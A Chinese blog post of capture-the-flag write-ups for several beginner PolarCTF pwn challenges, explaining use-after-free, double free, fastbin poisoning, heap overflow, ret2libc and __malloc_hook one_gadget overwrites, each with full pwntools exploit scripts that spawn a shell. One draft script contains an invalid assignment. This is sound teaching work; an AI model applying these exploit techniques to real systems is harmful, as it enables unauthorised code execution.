Polarctf-pwn(简单)
本文最后更新于99 天前,其中的信息可能已经过时,如有错误请发送邮件到1797527477@qq.com

like_it

一道菜单题,方便起见,分别把1到3的函数称为add,delete,show,首先查看一下add函数

分析一下不难发现,函数的主要逻辑是遍历notelist链表,如果链表某个节点为空那么就在该处申请0x10大小的堆块,接着将print函数的地址存储到堆块的user data的前8字节区域(前面有0x10大小的chunk_header),然后输入接下来申请堆块的大小,接着在user data+8字节处再申请一个堆块,最后read将用户输入的内容读入到其中

delete函数

可以看到delete函数中free了两次,但都没有将相应的指针清零,构成UAF漏洞可以利用

show函数

输入堆块索引,调用堆块中存储的print函数

程序还给了magic函数

以上为主要函数逻辑

利用思路:

可以利用delete函数中的UAF漏洞进行利用,先申请两个大堆块(执行两次add函数,实际上堆块中包含堆块,一共4个)把第一个大堆块称为chunk0,第二个称为chunk1,申请chunk0中堆块时,内容可以随便输入,大小可为0x18,0x20,0x28…,但不能为0x10,否则后面利用UAF的时候就无法申请到print函数所在堆块的位置,不能对其进行修改,同样chunk1也不能申请0x10的堆块

from pwn import*

context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2055)
p=process('./like_it')


def add(size,content):
    p.recvuntil(b'Your choice :')
    p.sendline(b'1')
    p.recvuntil(b'Note size :')
    p.sendline(str(size))
    p.recvuntil(b'Content :')
    p.sendline(content)

def delete(index):
    p.recvuntil(b'Your choice :')
    p.sendline(b'2')
    p.recvuntil(b'Index :')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Your choice :')
    p.sendline(b'3')
    p.recvuntil(b'Index :')
    p.sendline(str(index))

p.recvuntil(b'Hi! What do you like?')
p.sendline(b'hi,everyone')

magic=0x400cB5

add(0x20,b'aaa')#chunk0
add(0x20,b'bbb')#chunk1

这道题比较少见,有个def函数,里面禁用了gdb的调试功能,导致无法调试,没办法展示调试过程了。。。

然后再把申请的两个chunk给free掉,此时4个chunk中的两个0x20,两个0x30(包含了chunk_head)全处于释放状态,且位于fastbin中的0x20和0x30链表中

delete(1)
delete(0)

这里释放的顺序需要注意下,由于fastbin是单项链表,遵循先进后出的原理,所以此时两个0x20大小的free_chunk状态是

chunk0->chunk1

接下来再把两个0x20大小的chunk申请回来,add函数中第一个已经帮我们申请了0x10(chunk0),只要在申请0x10大小(chunk1)就能申请回来,那么此时的chunk0和chunk1都指向print所在位置,且chunk1可以让我们进行修改,把它改为magic,然后再调用show(1),执行magic拿到flag

add(0x10,p64(magic))
show(1)

完整exp

from pwn import*

context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2055)
p=process('./like_it')


def add(size,content):
    p.recvuntil(b'Your choice :')
    p.sendline(b'1')
    p.recvuntil(b'Note size :')
    p.sendline(str(size))
    p.recvuntil(b'Content :')
    p.sendline(content)

def delete(index):
    p.recvuntil(b'Your choice :')
    p.sendline(b'2')
    p.recvuntil(b'Index :')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Your choice :')
    p.sendline(b'3')
    p.recvuntil(b'Index :')
    p.sendline(str(index))

p.recvuntil(b'Hi! What do you like?')
p.sendline(b'hi,everyone')

magic=0x400cB5

add(0x20,b'aaa')#chunk0
add(0x20,b'bbb')#chunk1
delete(1)
delete(0)
add(0x10,p64(magic))
show(1)
p.interactive()

heap_Double_Free

image-20250819181353688

依旧是道菜单题,根据需要输入不同序号执行相应功能

image-20250819181723536

主要逻辑如上,create功能实现输入一个堆块索引再输入大小,接着往这个堆块里面输入内容,free功能就是单纯的输入堆块索引然后直接释放且没有将指针清零,print功能输出想要的堆块内容,接着就有个system函数,满足执行的条件是让全局变量global[4]为257(关键点),而我们需要的就是让程序最终执行system(‘/bin/sh’)获取控制权

根据Double free的原理可知,我们通过利用Double free可以控制global[4]这块的内容并把它修改成符合条件的257,那么先申请两个相同大小(0x70)的堆块,一下为初步的exp

from pwn import*

context(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p=remote('1.95.36.136',2119)
#p=process('./heap')
elf=ELF('./heap')

def create(index,size,content):
    p.recvuntil(b'root@ubuntu:~/Desktop$ ')
    p.sendline(b'1')
    p.recvuntil(b'please input id and size :')
    p.sendline(str(index))
    p.sendline(str(size))
    p.recvuntil(b'please input contet:')
    p.sendline(content)

def free(index):
    p.recvuntil(b'root@ubuntu:~/Desktop$ ')
    p.sendline(b'2')
    p.recvuntil(b'please input id :')
    p.sendline(str(index))

def print(index):
    p.recvuntil(b'root@ubuntu:~/Desktop$ ')
    p.sendline(b'3')
    p.recvuntil(b'please input id :')
    p.sendline(str(index))

global4-0x10=0x6010A0
create(0,0x68,b'aaa')#chunk0
create(1,0x68,b'bbb')#chunk1

gdb中看下

image-20250820182638974

成功申请到了两个chunk

接下来进行Double free,使chunk0,chunk1构成循环链表

free(0)
free(1)
free(0)

image-20250820183134975

成功构成循环链表

此时我们再申请0x68大小的chunk,利用uaf把处在链表头部的chunk0申请回来,那么此时的一个chunk0处在被使用的状态,一个chunk0处在被释放的状态,这里需要注意的是我们可以对在使用状态下的chunk0进行内容的修改且这个修改将同步到被释放的chunk0,也就是说我们对chunk0修改的结果也将出现在被释放的chunk0中,那么就可以考虑将chunk0的fd指针修改到global[4]-0x10的位置

create(0,0x68,p64(global4-0x10))

image-20250820190516094

可以看到由于此时chunk0已经被申请走了,那么chunk1自然来到链表头部,下面接着chunk0以及我们修改到的地址,注意上述虽然显示的是global[4]的地址,但实际却需要修改成global4-0x10,这是因为申请回chunk时会对chunk的大小位(chunk前0x10中的后0x8字节为大小位)进行检查,如果不是0x70大小则无法申请回来,具体可以看看global4地址附近的内容

image-20250820191027313

题目也是非常友好的给了我们一个数据刚好符合对chunk的申请条件(多出的0x1大小是pre_size位,如果不懂可以先去了解chunk的基本结构),那么我们申请这个chunk时就先对chunk大小检查,然后才能顺利申请到

create(1,0x68,b'aaa')
create(2,0x68,b'bbb')
create(3,0x68,p64(0x101))

由于申请是从头部开始,要先把chunk1和chunk0申请出来才能到global4,也就是说需要申请三次,第三次申请到global4同时对其内容进行修改为257使之满足条件最后发送序号4触发system

完整exp

from pwn import*

context(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
#p=remote('1.95.36.136',2119)
p=process('./heap')
elf=ELF('./heap')

def create(index,size,content):
    p.recvuntil(b'root@ubuntu:~/Desktop$ ')
    p.sendline(b'1')
    p.recvuntil(b'please input id and size :')
    p.sendline(str(index))
    p.sendline(str(size))
    p.recvuntil(b'please input contet:')
    p.sendline(content)

def free(index):
    p.recvuntil(b'root@ubuntu:~/Desktop$ ')
    p.sendline(b'2')
    p.recvuntil(b'please input id :')
    p.sendline(str(index))

def print(index):
    p.recvuntil(b'root@ubuntu:~/Desktop$ ')
    p.sendline(b'3')
    p.recvuntil(b'please input id :')
    p.sendline(str(index))

global4=0x6010A0
create(0,0x68,b'aaa')#chunk0
create(1,0x68,b'bbb')#chunk1
free(0)
free(1)
free(0)
#gdb.attach(p)
#pause()
create(0,0x68,p64(global4))
#gdb.attach(p)
#pause()
create(1,0x68,b'aaa')
create(2,0x68,b'bbb')
#gdb.attach(p)
create(3,0x68,p64(0x101))
#pause()
p.sendline(b'4')
#gdb.attach(p)
#pause()
p.interactive()

friend

就是一道简单的32位ret2libc,按照正常思路做即可

image-20250906163157576

exp

from pwn import*
from LibcSearcher import*
context(arch='i386',os='linux',log_level='debug')

p=remote('1.95.36.136',2082)
elf=ELF('./friend')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start=0x804863A

p.recvuntil(b'Please enter what you need:')
p.sendline(b'2')
payload=b'a'*(0x70+4)+p32(puts_plt)+p32(start)+p32(puts_got)
p.recvuntil(b'Give You Ret2libc\n')
p.sendline(payload)
puts_real=u32(p.recvuntil(b'\xf7')[-4:])

libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

p.recvuntil(b'Please enter what you need:')
p.sendline(b'2')
payload=b'a'*(0x70+4)+p32(system)+p32(0)+p32(bin_sh)
p.recvuntil(b'Give You Ret2libc\n')
p.sendline(payload)
p.interactive()

不过这道题可能用LibcSearcher那个工具找不到匹配的libc,要自己去找,版本是libc6-i386_2.23-0ubuntu11.3_amd64

bll_ezheap1

一道简单的菜单题,各个功能的函数也给的非常明确

直接给了shell函数,满足某个条件则能直接执行system(‘/bin/sh’)

image-20250904185330243

显然目的就是要让key=11259375(0xABCDEF)

那么下面看看各个函数的具体功能

image-20250904222130299

根据申请的chunk大小的限制,很明显只能申请fastbin大小的chunk

image-20250904222241173

对申请的chunk进行大小的改变并输入内容,这里则可以构造堆溢出,也是本题的关键所在

image-20250904222417913

delete函数虽然没有UAF漏洞,但仍可利用,结合前的edit我们可以进行堆覆盖到fastbin里的chunk并改变其fd值为key地址之前的某个值(需调试才能知道),进而实现对key的修改

先给脚本稍后解释

exp

from pwn import*

context(arch='amd64',os='linux',log_level='debug')

p=remote('1.95.36.136',2067)
#p=process('./pwn2')
elf=ELF('./pwn2')

def add(index,size):
  p.recvuntil(b'choice:')
  p.sendline(b'1')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  p.recvuntil(b'size:')
  p.sendline(str(size))

def edit(index,length,content):
  p.recvuntil(b'choice:')
  p.sendline(b'2')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  p.recvuntil(b'length:')
  p.sendline(str(length))
  p.recvuntil(b'content:')
  p.send(content)

def delete(index):
  p.recvuntil(b'choice:')
  p.sendline(b'3')
  p.recvuntil(b'index:')
  p.sendline(str(index))

p.sendline(b'5')
p.recvuntil(b'0x')
key=int(p.recv(12),16)
log.success('key>'+hex(key))

add(0,0x60)
add(1,0x60)
delete(1)
payload=b'a'*(0x60+8)+p64(0x71)+p64(key-0x20+1)
edit(0,0x78,payload)
add(1,0x60)
add(2,0x60)
edit(2,0xf+8,b'a'*(0xf)+p64(0xABCDEF))
#gdb.attach(p)
#pause()
p.sendline(b'5')
#gdb.attach(p)
#pause()

p.interactive()

先申请两个堆块chunk0和chunk1,然后释放chunk1,此时chunk1在fastbin中

add(0,0x60)
add(1,0x60)
delete(1)

接下来就是堆块覆盖

payload=b'a'*(0x60+8)+p64(0x71)+p64(key-0x20+1)
edit(0,0x78,payload)
add(1,0x60)
add(2,0x60)

结合gdb的调试

image-20250905185630844

此时我们从0x5fb5573b5010地址处开始覆盖,并保证free_chunk1的size位仍为0x71方便后面进行申请,后面就是覆盖fd了,覆盖fd为何值也是需要调试才能知道

image-20250905190126742

由于不知道该覆盖为何值那么可以先看看key之前的一些地址,很明显如果把key-0x20处当做fd,那么其size位并不符合大小要求,那么就需要稍作调整

image-20250905190459999

当加1时符合大小要求,相当于在原来基础上往后推一个字节,0x78与0x71虽然不同但却仍能满足要求(实际上低四字节不管是多少都对chunk申请时的大小要求无影响)

image-20250905191158079

可以看到继chunk1后fd指向了key-0x20+1,那么当我们再申请两次0x60大小的chunk时,第二次就申请到了想要的地址

edit(2,0xf+8,b'a'*(0xf)+p64(0xABCDEF))

接下来就是覆盖key为条件值

image-20250905191526378

覆盖起始地址距key为0xf,先覆盖0xf,后面输入条件值即可

最后发送5触发shell

nc

image-20251005164552856

一眼看到system()函数但是参数要我们自己传,根据红框中的要求先输入$0让V4为1,从而进入parse_special_command()函数

image-20251005165156361

可以看到这个函数是将输入的s复制给command,但有个要求,会将s与s2数组指针里的内容进行对比,如果不一样则执行不了command,全局变量unk_400AB8里的是ls,也就是说只有输入ls和cat${IFS}flag这两个命令才能执行,而刚好执行后就能获得flag

image-20251005170248109

stackof

image-20251006200918175

给了shell那就是很简单的一道题,只要让输入的第110个字符为1即可执行shell()

exp

from pwn import*
context(arch='amd64',os='linux',log_level='debug')

p=remote('1.95.36.136',2068)
payload=b'a'*109+b'1'
p.sendline(payload)
p.interactive()

bllhl_uaf

一道菜单题,各个函数的功能也简单易懂,重点关注delete函数,发现只是单纯的执行free,并没有将指针清零,所以可以利用uaf

image-20251009194631768

解题思路:

程序没给system,优先考虑泄露libc,题目给了libc文件尝试利用onegadget对malloc_hook进行修改(__malloc_hook是malloc的’钩子’,调用malloc函数之前会先检查malloc_hook里的内容,如果有则执行,没有则执行默认malloc功能)。

那么首先需要泄露某个libc,根据相应偏移得到基址,那么可以利用Unsorted_bin的特性泄露一个在main_arean中的libc地址,减去偏移得到基址

from pwn import*
from LibcSearcher import*
context(arch='amd64',os='linux',log_level='debug')

p=remote('1.95.36.136',2115)
#p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def debug():
  gdb.attach(p)
  pause()

def add(index,size):
  p.recvuntil(b'choice:')
  p.sendline(b'1')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  p.recvuntil(b'size:')
  p.sendline(str(size))
  
def delete(index):
  p.recvuntil(b'choice:')
  p.sendline(b'2')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  
def edit(index,length,content):
  p.recvuntil(b'choice:')
  p.sendline(b'3')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  p.recvuntil(b'length:')
  p.sendline(str(length))
  p.recvuntil(b'content:')
  p.sendline(content)
  
def show(index):
  p.recvuntil(b'choice:')
  p.sendline(b'4')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  
add(0,0x80)#chunk0
add(1,0x60)#chunk1
delete(0)
show(0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info('libc_addr>'+hex(libc_addr))
#debug()
padding=0x3c4b78
libc_base=libc_addr-padding
info('libc_base>'+hex(libc_base))

这里多申请一个chunk1是隔离top_chunk,否则chunk0释放后会直接合并到top_chunk,释放chunk0后,chunk0到fastbin中,但由于uaf,此时chunk0的指针仍指向chunk0,那么直接调用show就能打印出chunk0中的libc地址再减去偏移获得libc基址,padding的获取可由泄露的libc地址减去libc基址获得(要在gdb中调试才行)

image-20251009201710956

image-20251009201916085

接下来就可以利用uaf将堆伪造到malloc_hook之前的某个地址,然后再重新申请回来,写入onegadget

delete(1)
edit(1,8,p64(libc.sym['__malloc_hook']+libc_base-0x23))
add(0,0x60)
add(1,0x60)
onegadget=[0x4527a,0xf03a4,0xf1247]
one_gadget=onegadget[1]+libc_base
#one_gadget=libc_base+0x4527a
edit(1,0x13+8,b'a'*(0x13)+p64(one_gadget))
#debug()
add(0,b'aaa')

p.interactive()

先把之前的chunk1free掉,此时chunk1位于fastbin链表中的最后一个,利用uaf修改chunk1内容使其fd指针指向malloc_hook-0x23的地址(这个位置的chunk_size位刚好是0x70,后面能直接申请到)

image-20251009203056736

那么再申请两次就能申请到目标地址并修改内容为onegadget,最后执行malloc触发onegadget

exp

from pwn import*
from LibcSearcher import*
context(arch='amd64',os='linux',log_level='debug')

#p=remote('1.95.36.136',2115)
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def debug():
  gdb.attach(p)
  pause()

def add(index,size):
  p.recvuntil(b'choice:')
  p.sendline(b'1')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  p.recvuntil(b'size:')
  p.sendline(str(size))
  
def delete(index):
  p.recvuntil(b'choice:')
  p.sendline(b'2')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  
def edit(index,length,content):
  p.recvuntil(b'choice:')
  p.sendline(b'3')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  p.recvuntil(b'length:')
  p.sendline(str(length))
  p.recvuntil(b'content:')
  p.sendline(content)
  
def show(index):
  p.recvuntil(b'choice:')
  p.sendline(b'4')
  p.recvuntil(b'index:')
  p.sendline(str(index))
  
add(0,0x80)
add(1,0x60)
delete(0)
show(0)
libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info('libc_addr>'+hex(libc_addr))
#debug()
padding=0x3c4b78
libc_base=libc_addr-padding
info('libc_base>'+hex(libc_base))
delete(1)
edit(1,8,p64(libc.sym['__malloc_hook']+libc_base-0x23))
debug()
add(0,0x60)
add(1,0x60)
onegadget=[0x4527a,0xf03a4,0xf1247]
one_gadget=onegadget[1]+libc_base
#one_gadget=libc_base+0x4527a
edit(1,0x13+8,b'a'*(0x13)+p64(one_gadget))
#debug()
add(0,b'aaa')

p.interactive()
世界上的一队小小的漂泊者呀,请留下你们的足印在我的文字里。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇